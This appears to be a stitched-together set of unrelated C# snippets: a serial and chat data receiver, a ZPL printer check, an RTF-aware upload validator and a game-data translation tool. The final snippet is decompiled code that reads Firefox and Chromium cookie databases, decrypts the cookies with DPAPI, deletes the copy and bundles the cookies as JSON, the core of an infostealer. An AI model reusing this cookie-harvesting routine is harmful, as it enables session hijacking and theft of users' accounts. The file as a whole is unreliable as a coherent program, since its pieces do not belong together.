//EnumType.DataEncode de = EnumType.DataEncode.UTF8; private void Configer_DataReceived(object sender, byte[] data) { if (txtCmd.Visible == true) { if (data.Length > 1) { string ss = new UTF8Encoding().GetString(data); if (ss.Contains("\r\n")) { } else if (ss.Contains("\r")) { ss = ss.Replace("\r", "\r\n"); } else { ss = ss + "\r\n"; } txtCmd.Invoke(new MethodInvoker(delegate { //txtCmd.AppendText(new UTF8Encoding().GetString(data).Replace("\r", "\r\n")); RichTextBoxExtension.AppendTextColorful(txtCmd, ss, Color.LightGreen); txtCmd.SelectionStart = txtCmd.Text.Length; })); } } else { DataReceiver.AddData(data); } }
private void chatReceiveCallback(IAsyncResult IAR) { try { Socket tempSock = (Socket)IAR.AsyncState; int nReadSize = tempSock.EndReceive(IAR); if (nReadSize != 0) { string message = new UTF8Encoding().GetString(msgBuf, 0, nReadSize); if (message.Contains("__mc")) { right.Enabled = true; left.Enabled = true; this.Refresh(); } else { UpdateChatMsg(message); } } this.chatReceive(); } catch (SocketException se) { } }
private bool SetPrintLanguage(IConnection conn) { string setLanguage = "! U1 setvar \"device.languages\" \"zpl\"\r\n\r\n! U1 getvar \"device.languages\"\r\n\r\n"; byte[] response = connection.SendAndWaitForResponse(new UTF8Encoding().GetBytes(setLanguage), 500, 500); string s = new UTF8Encoding().GetString(response, 0, response.Length); if (!s.Contains("zpl")) { Debug.WriteLine("Not a ZPL printer."); return(false); } return(true); }
/// <summary>Validates the specified object.</summary> /// <param name="value">The object to validate.</param> /// <param name="validationContext">The <see cref="T:System.ComponentModel.DataAnnotations.ValidationContext" /> object that describes the context where the validation checks are performed. This parameter cannot be null.</param> /// <exception cref="T:System.ComponentModel.DataAnnotations.ValidationException">Validation failed.</exception> protected override ValidationResult IsValid(object value, ValidationContext validationContext) { var postedFile = value as HttpPostedFileBase; if (postedFile == null) { // No posted file to validate return(ValidationResult.Success); } // Validate posted file size if (Size > 0 && postedFile.ContentLength > Size) { return(new ValidationResult(string.Format(CultureInfo.CurrentCulture, DataAnnotationsResources.FileAttribute_InvalidSize, validationContext.DisplayName, GetAllowedFileSizeDescription(Size)))); } byte[] postedBytes = null; // Get file model of posted file by matching against posted file extension var postedExtension = postedFile.FileName.Split('.').LastOrDefault(); if (postedExtension == null) { return(new ValidationResult(string.Format(CultureInfo.CurrentCulture, DataAnnotationsResources.FileAttribute_InvalidExtension, validationContext.DisplayName, GetAllowedFileExtensionsDescription()))); } // Get file model of posted file by matching against posted file extension var postedFileModel = FileModels.FirstOrDefault(m => m.Extensions.Contains(postedExtension.ToLower())); // Invalid posted file if there is no matching file model or it is not an allowed file type if (postedFileModel == null || !FileTypes.Contains(postedFileModel.FileType)) { return(new ValidationResult(string.Format(CultureInfo.CurrentCulture, DataAnnotationsResources.FileAttribute_InvalidType, validationContext.DisplayName, GetAllowedFileExtensionsDescription()))); } // Check config to see if file signature check should be skipped bool skip; if ((postedFileModel.FileType != FileType.Txt) && !(ConfigurationManager.AppSettings["SkipFileSignatureCheck"] != null && bool.TryParse(ConfigurationManager.AppSettings.Get("SkipFileSignatureCheck"), out skip) && skip)) { // Get copy of bytes postedBytes = postedFile.GetBytes(); // Check posted file data has a valid signature for its file type if (!postedFileModel.ValidSignature(postedBytes)) { return(new ValidationResult(string.Format(CultureInfo.CurrentCulture, DataAnnotationsResources.FileAttribute_InvalidSignature, validationContext.DisplayName, GetAllowedFileExtensionsDescription()))); } } // RTF specific validation if (postedFileModel.FileType == FileType.Rtf) { postedBytes = postedBytes ?? postedFile.GetBytes(); var text = new UTF8Encoding().GetString(postedBytes, 0, postedBytes.Length); if (!string.IsNullOrEmpty(text)) { text = text.ToLower(); if (text.Contains(string.Format("{0}{{", RtfImageTag)) || text.Contains(string.Format("{0}\\", RtfImageTag)) || text.Contains(string.Format("{0}{{", RtfDrawingTag)) || text.Contains(string.Format("{0}\\", RtfDrawingTag))) { return(new ValidationResult(string.Format(DataAnnotationsResources.FileAttribute_InvalidRtfImage, validationContext.DisplayName))); } if (text.Contains(string.Format("{0}{{", RtfObjectTag)) || text.Contains(string.Format("{0}\\", RtfObjectTag)) || text.Contains(string.Format("{0}{{", RtfMacObjectTag)) || text.Contains(string.Format("{0}\\", RtfMacObjectTag))) { return(new ValidationResult(string.Format(DataAnnotationsResources.FileAttribute_InvalidRtfObject, validationContext.DisplayName))); } var blueWordResult = new BlueWordAttribute().ValidateBlueWord(validationContext.DisplayName, text); if (blueWordResult != ValidationResult.Success) { return(blueWordResult); } } } // Validate compressed file size if (CompressedSize > 0) { var compressedBytes = (postedBytes ?? postedFile.GetBytes()).Compress(); if (compressedBytes != null && compressedBytes.Length > CompressedSize) { return(new ValidationResult(string.Format(CultureInfo.CurrentCulture, DataAnnotationsResources.FileAttribute_InvalidCompressedSize, validationContext.DisplayName, GetAllowedFileSizeDescription(CompressedSize)))); } } return(ValidationResult.Success); }
static void Main(string[] args) { Console.WriteLine(string.Format("AllaganNode v{0}", Assembly.GetExecutingAssembly().GetName().Version.ToString())); // TODO: make base path selectable. string baseDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location); string indexPath = Path.Combine(baseDir, "input", "0a0000.win32.index"); string datPath = Path.Combine(baseDir, "input", "0a0000.win32.dat0"); string outputDir = Path.Combine(baseDir, "output"); if (!Directory.Exists(outputDir)) { Directory.CreateDirectory(outputDir); } Dictionary <uint, Dictionary <uint, SqFile> > sqFiles = new Dictionary <uint, Dictionary <uint, SqFile> >(); // Read index and cache all available sqfiles. using (FileStream fs = File.OpenRead(indexPath)) using (BinaryReader br = new BinaryReader(fs)) { br.BaseStream.Position = 0xc; int headerOffset = br.ReadInt32(); br.BaseStream.Position = headerOffset + 0x8; int fileOffset = br.ReadInt32(); int fileCount = br.ReadInt32() / 0x10; br.BaseStream.Position = fileOffset; for (int i = 0; i < fileCount; i++) { SqFile sqFile = new SqFile(); sqFile.Key = br.ReadUInt32(); sqFile.DirectoryKey = br.ReadUInt32(); sqFile.WrappedOffset = br.ReadInt32(); sqFile.DatPath = datPath; br.ReadInt32(); if (!sqFiles.ContainsKey(sqFile.DirectoryKey)) { sqFiles.Add(sqFile.DirectoryKey, new Dictionary <uint, SqFile>()); } sqFiles[sqFile.DirectoryKey].Add(sqFile.Key, sqFile); Report(string.Format("{0} / {1}: {2}", i, fileCount, sqFile.Key)); } } // find root file that lists all ExHs in 0a0000. // root file encoding is simple ASCII. SqFile rootFile = sqFiles[Hash.Compute("exd")][Hash.Compute("root.exl")]; List <string> headerNames = new List <string>(); using (MemoryStream ms = new MemoryStream(rootFile.ReadData())) using (StreamReader sr = new StreamReader(ms, Encoding.ASCII)) using (StreamWriter sw = new StreamWriter(Path.Combine(outputDir, "root.exl"))) { sr.ReadLine(); while (!sr.EndOfStream) { string line = sr.ReadLine(); if (string.IsNullOrWhiteSpace(line)) { continue; } Report(line); sw.WriteLine(line); string[] split = line.Split(','); if (split.Length != 2) { continue; } headerNames.Add(split[0]); } } List <ExHFile> exHeaderList = new List <ExHFile>(); // for all ExHs, decode the cached data buffer as ExH. for (int i = 0; i < headerNames.Count; i++) { Report(string.Format("{0} / {1}: {2}", i, headerNames.Count, headerNames[i])); string headerDir = string.Empty; string headerName = headerNames[i]; if (headerName.Contains("/")) { headerDir = string.Format("/{0}", headerName.Substring(0, headerName.LastIndexOf("/"))); headerName = headerName.Substring(headerName.LastIndexOf("/") + 1); } headerDir = string.Format("exd{0}", headerDir); SqFile sqFile = sqFiles[Hash.Compute(headerDir)][Hash.Compute(string.Format("{0}.exh", headerName))]; ExHFile exHFile = new ExHFile(); exHFile.Copy(sqFile); exHFile.Name = headerName + ".exh"; exHFile.Dir = headerDir; exHFile.HeaderName = headerName; exHFile.ReadExH(); // only add ExHs with supported variant and string columns. if (exHFile.Variant == 1 && exHFile.Columns != null && exHFile.Columns.Length > 0) { exHeaderList.Add(exHFile); } } ExHFile[] exHeaders = exHeaderList.ToArray(); // for all ExHs, decode child ExDs and link them to ExH. for (int i = 0; i < exHeaders.Length; i++) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exHeaders[i].Name)); ExHFile exHeader = exHeaders[i]; foreach (ExHLanguage lang in exHeader.Languages) { foreach (ExHRange range in exHeader.Ranges) { string datName = string.Format("{0}_{1}_{2}.exd", exHeader.HeaderName, range.Start, lang.Code); uint directoryKey = Hash.Compute(exHeader.Dir); uint key = Hash.Compute(datName); if (!sqFiles.ContainsKey(directoryKey)) { continue; } if (!sqFiles[directoryKey].ContainsKey(key)) { continue; } ExDFile exDat = new ExDFile(); exDat.Copy(sqFiles[directoryKey][key]); exDat.Name = datName; exDat.Dir = exHeader.Dir; exDat.HeaderName = exHeader.HeaderName; exDat.PhysicalDir = string.Format("{0}/{1}/{2}", exHeader.Dir, exHeader.HeaderName, range.Start); exDat.LanguageCode = lang.Code; exDat.ExHeader = exHeader; exDat.ReadExD(); exHeader.ExDats.Add(exDat); } } } Report(string.Empty); Console.Write("Enter an option (0 - extract, 1 - apply translations, 2 - repackage): "); switch (Console.ReadLine().ToLower()) { case "0": ExtractExDs(exHeaders, outputDir); break; case "1": ApplyTranslations(exHeaders, outputDir, baseDir); break; case "2": RepackExDs(exHeaders, outputDir, indexPath, datPath); break; // this hidden option swaps language codes. // it tries to map entries based on string key if available. if not, it maps based on chunk keys. case "swap": SwapCodes(exHeaders, outputDir); break; // this hidden option is for translators. // this will compress all available translations that are written in exd. case "compress": CompressTranslations(exHeaders, outputDir); break; // this hidden option is for translators. // this will extract translations from compressed format and place them in exd directory in editable format. case "decompress": ExtractTranslations(exHeaders, outputDir, baseDir); break; // dev option to find certain string from original input dat... case "search": string languageCode = Console.ReadLine(); string keyword = Console.ReadLine(); for (int i = 0; i < exHeaders.Length; i++) { foreach (ExDFile exDat in exHeaders[i].ExDats) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exDat.Name)); if (exDat.LanguageCode != languageCode) { continue; } foreach (ExDChunk chunk in exDat.Chunks.Values) { foreach (byte[] field in chunk.Fields.Values) { string test = new UTF8Encoding(false).GetString(field); if (test.Contains(keyword)) { Console.WriteLine(); Console.WriteLine(exDat.PhysicalDir + "/" + exDat.Name); } } } } } Console.WriteLine(); Console.WriteLine("DONE"); Console.ReadLine(); break; // dev option for mapping CompleteJournal... case "map_journal": // mapping quest titles... Dictionary <int, string> englishQuest = new Dictionary <int, string>(); Dictionary <int, string> koreanQuest = new Dictionary <int, string>(); for (int i = 0; i < exHeaders.Length; i++) { foreach (ExDFile exDat in exHeaders[i].ExDats) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exDat.Name)); if (exDat.Dir.ToLower() != "exd" || exDat.HeaderName.ToLower() != "quest") { continue; } if (exDat.LanguageCode != "en") { continue; } foreach (ExDChunk chunk in exDat.Chunks.Values) { if (englishQuest.ContainsKey(chunk.Key)) { continue; } if (chunk.Fields.Count == 0) { continue; } if (!chunk.Fields.ContainsKey(0)) { continue; } JObject jChunk = chunk.GetJObject(); JObject jField = (JObject)jChunk["Fields"].First(j => (ushort)j["FieldKey"] == 0); JArray jEntries = (JArray)jField["FieldValue"]; if (jEntries.Count == 0) { continue; } englishQuest.Add(chunk.Key, jEntries.ToString()); } string exDatOutDir = Path.Combine(outputDir, exDat.PhysicalDir); if (!Directory.Exists(exDatOutDir)) { continue; } string exDatKoPath = Path.Combine(exDatOutDir, "ko"); if (!File.Exists(exDatKoPath)) { continue; } JObject[] jChunks; using (StreamReader sr = new StreamReader(exDatKoPath)) { jChunks = JArray.Parse(sr.ReadToEnd()).Select(j => (JObject)j).ToArray(); } foreach (JObject jChunk in jChunks) { ExDChunk chunk = new ExDChunk(); chunk.LoadJObject(jChunk); if (koreanQuest.ContainsKey(chunk.Key)) { continue; } if (chunk.Fields.Count == 0) { continue; } if (!chunk.Fields.ContainsKey(0)) { continue; } JObject jField = (JObject)jChunk["Fields"].First(j => (ushort)j["FieldKey"] == 0); JArray jEntries = (JArray)jField["FieldValue"]; if (jEntries.Count == 0) { continue; } koreanQuest.Add(chunk.Key, jEntries.ToString()); } } } Dictionary <string, string> englishToKorean = new Dictionary <string, string>(); foreach (int key in englishQuest.Keys) { if (!koreanQuest.ContainsKey(key)) { continue; } if (englishToKorean.ContainsKey(englishQuest[key])) { continue; } englishToKorean.Add(englishQuest[key], koreanQuest[key]); } // mapping content finder titles... Dictionary <string, string> englishContents = new Dictionary <string, string>(); Dictionary <string, string> koreanContents = new Dictionary <string, string>(); for (int i = 0; i < exHeaders.Length; i++) { foreach (ExDFile exDat in exHeaders[i].ExDats) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exDat.Name)); if (exDat.Dir.ToLower() != "exd" || exDat.HeaderName.ToLower() != "contentfindercondition") { continue; } if (exDat.LanguageCode != "en") { continue; } foreach (ExDChunk chunk in exDat.Chunks.Values) { if (chunk.Fields.Count != 2) { continue; } if (!chunk.Fields.ContainsKey(0) || !chunk.Fields.ContainsKey(44)) { continue; } JObject jChunk = chunk.GetJObject(); JArray jFields = (JArray)jChunk["Fields"]; JObject jKeyFIeld = (JObject)jFields.First(j => (ushort)j["FieldKey"] == 44); JArray jKeyEntries = (JArray)jKeyFIeld["FieldValue"]; if (jKeyEntries.Count != 1) { continue; } if ((string)jKeyEntries[0]["EntryType"] != "text") { continue; } string fieldKey = (string)jKeyEntries[0]["EntryValue"]; if (englishContents.ContainsKey(fieldKey)) { continue; } JObject jValueField = (JObject)jFields.First(j => (ushort)j["FieldKey"] == 0); JArray jValueEntries = (JArray)jValueField["FieldValue"]; if (jValueEntries.Count == 0) { continue; } englishContents.Add(fieldKey, jValueEntries.ToString()); } string exDatOutDir = Path.Combine(outputDir, exDat.PhysicalDir); if (!Directory.Exists(exDatOutDir)) { continue; } string exDatKoPath = Path.Combine(exDatOutDir, "ko"); if (!File.Exists(exDatKoPath)) { continue; } JObject[] jChunks; using (StreamReader sr = new StreamReader(exDatKoPath)) { jChunks = JArray.Parse(sr.ReadToEnd()).Select(j => (JObject)j).ToArray(); } foreach (JObject jChunk in jChunks) { ExDChunk chunk = new ExDChunk(); chunk.LoadJObject(jChunk); if (chunk.Fields.Count != 2) { continue; } if (!chunk.Fields.ContainsKey(0) || !chunk.Fields.ContainsKey(44)) { continue; } JArray jFields = (JArray)jChunk["Fields"]; JObject jKeyField = (JObject)jFields.First(j => (ushort)j["FieldKey"] == 44); JArray jKeyEntries = (JArray)jKeyField["FieldValue"]; if (jKeyEntries.Count != 1) { continue; } if ((string)jKeyEntries[0]["EntryType"] != "text") { continue; } string fieldKey = (string)jKeyEntries[0]["EntryValue"]; if (koreanContents.ContainsKey(fieldKey)) { continue; } JObject jValueField = (JObject)jFields.First(j => (ushort)j["FieldKey"] == 0); JArray jValueEntries = (JArray)jValueField["FieldValue"]; if (jValueEntries.Count == 0) { continue; } koreanContents.Add(fieldKey, jValueEntries.ToString()); } } } foreach (string key in englishContents.Keys) { if (!koreanContents.ContainsKey(key)) { continue; } if (englishToKorean.ContainsKey(englishContents[key])) { continue; } englishToKorean.Add(englishContents[key], koreanContents[key]); } for (int i = 0; i < exHeaders.Length; i++) { foreach (ExDFile exDat in exHeaders[i].ExDats) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exDat.Name)); if (exDat.Dir.ToLower() != "exd" || exDat.HeaderName.ToLower() != "completejournal") { continue; } if (exDat.LanguageCode != "en") { continue; } foreach (ExDChunk chunk in exDat.Chunks.Values) { if (chunk.Fields.Count != 1) { continue; } if (!chunk.Fields.ContainsKey(0)) { continue; } JObject jChunk = chunk.GetJObject(); JArray jFieldArray = (JArray)jChunk["Fields"]; JObject jField = (JObject)jFieldArray[0]; if ((ushort)jField["FieldKey"] != 0) { continue; } JArray jEntries = (JArray)jField["FieldValue"]; if (jEntries.Count == 0) { continue; } if (!englishToKorean.ContainsKey(jEntries.ToString())) { continue; } jField["FieldValue"] = JArray.Parse(englishToKorean[jEntries.ToString()]); chunk.LoadJObject(jChunk); } exDat.LanguageCode = "trans"; exDat.ExtractExD(outputDir); } } break; // testing case "test": for (int i = 0; i < exHeaders.Length; i++) { foreach (ExDFile exDat in exHeaders[i].ExDats) { Report(string.Format("{0} / {1}: {2}", i, exHeaders.Length, exDat.Name)); string exDatOutDir = Path.Combine(outputDir, exDat.PhysicalDir); if (!Directory.Exists(exDatOutDir)) { continue; } string exDatOutPath = Path.Combine(exDatOutDir, exDat.LanguageCode); string exDatTestPath = exDatOutPath + ".test"; using (MemoryStream ms = new MemoryStream(File.ReadAllBytes(exDatOutPath))) using (StreamReader sr = new StreamReader(ms)) using (MemoryStream ms2 = new MemoryStream(File.ReadAllBytes(exDatTestPath))) using (StreamReader sr2 = new StreamReader(ms2)) { while (sr.Peek() != -1) { if (sr2.Peek() == -1) { throw new Exception(); } if (sr.ReadLine() != sr2.ReadLine()) { throw new Exception(); } } if (sr2.Peek() != -1) { throw new Exception(); } } } } Console.WriteLine(); Console.WriteLine("DONE"); Console.ReadLine(); break; // write out encoded bytes case "write": string test2 = Console.ReadLine(); JObject test3 = JObject.Parse("{\"TagValue\":\"" + test2 + "\"}"); File.WriteAllBytes(Path.Combine(outputDir, "test"), (byte[])test3["TagValue"]); break; } }
// Token: 0x06000010 RID: 16 RVA: 0x000039F4 File Offset: 0x000029F4 private static string GetCookies(string name) { string text = Program.filesFolder + name; int num = 0; if (File.Exists(text)) { if (name.Contains("Moz")) { try { string tableName = "moz_cookies"; SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable(tableName); int rowCount = sqlHandler.GetRowCount(); Program.TryFunction(new Program.function(File.Delete), text, 10, 200); string text2 = ""; for (int i = 0; i < rowCount; i++) { string text3 = sqlHandler.GetValue(i, 4).ToString(); string text4; if (sqlHandler.GetValue(i, 11).ToString() == "false") { text4 = "false"; } else { text4 = "true"; } string text5; if (sqlHandler.GetValue(i, 10).ToString() == "false") { text5 = "false"; } else { text5 = "true"; } if (text3 != "") { if (text3.Contains("\"")) { text3 = text3.Replace("\"", ""); } if (!text3.Contains("\\")) { string text6 = text2; text2 = string.Concat(new string[] { text6, "{\"domain\":\"", sqlHandler.GetValue(i, 5), "\",\"expirationDate\":", sqlHandler.GetValue(i, 7), ",\"hostOnly\":false,\"httpOnly\":", text4, ",\"name\":\"", sqlHandler.GetValue(i, 3), "\",\"path\":\"", sqlHandler.GetValue(i, 6), "\",\"sameSite\":null,\"secure\":", text5, ",\"session\":false,\"storeId\":null,\"value\":\"", text3, "\",\"id\":1}," }); num++; } } } BrowsersData.CookiesCount += num; return(text2); } catch { return(""); } } try { string tableName2 = "cookies"; byte[] entropyBytes = null; SqlHandler sqlHandler2 = new SqlHandler(text); sqlHandler2.ReadTable(tableName2); int rowCount2 = sqlHandler2.GetRowCount(); Program.TryFunction(new Program.function(File.Delete), text, 10, 200); string text7 = ""; for (int j = 0; j < rowCount2; j++) { byte[] bytes = Encoding.Default.GetBytes(sqlHandler2.GetValue(j, 12)); string text8; byte[] bytes2 = DPAPI.Decrypt(bytes, entropyBytes, out text8); string text9 = new UTF8Encoding(true).GetString(bytes2); string text10; if (sqlHandler2.GetValue(j, 7).ToString() == "false") { text10 = "false"; } else { text10 = "true"; } string text11; if (sqlHandler2.GetValue(j, 6).ToString() == "false") { text11 = "false"; } else { text11 = "true"; } if (text9 != "") { if (text9.Contains("\"")) { text9 = text9.Replace("\"", ""); } if (!text9.Contains("\\")) { string text12 = text7; text7 = string.Concat(new string[] { text12, "{\"domain\":\"", sqlHandler2.GetValue(j, 1), "\",\"expirationDate\":", sqlHandler2.GetValue(j, 5), ",\"hostOnly\":false,\"httpOnly\":", text10, ",\"name\":\"", sqlHandler2.GetValue(j, 2), "\",\"path\":\"", sqlHandler2.GetValue(j, 4), "\",\"sameSite\":null,\"secure\":", text11, ",\"session\":false,\"storeId\":null,\"value\":\"", text9, "\",\"id\":", sqlHandler2.GetValue(j, 11), "}," }); num++; } } } BrowsersData.CookiesCount += num; return(text7); } catch { return(""); } } return(""); }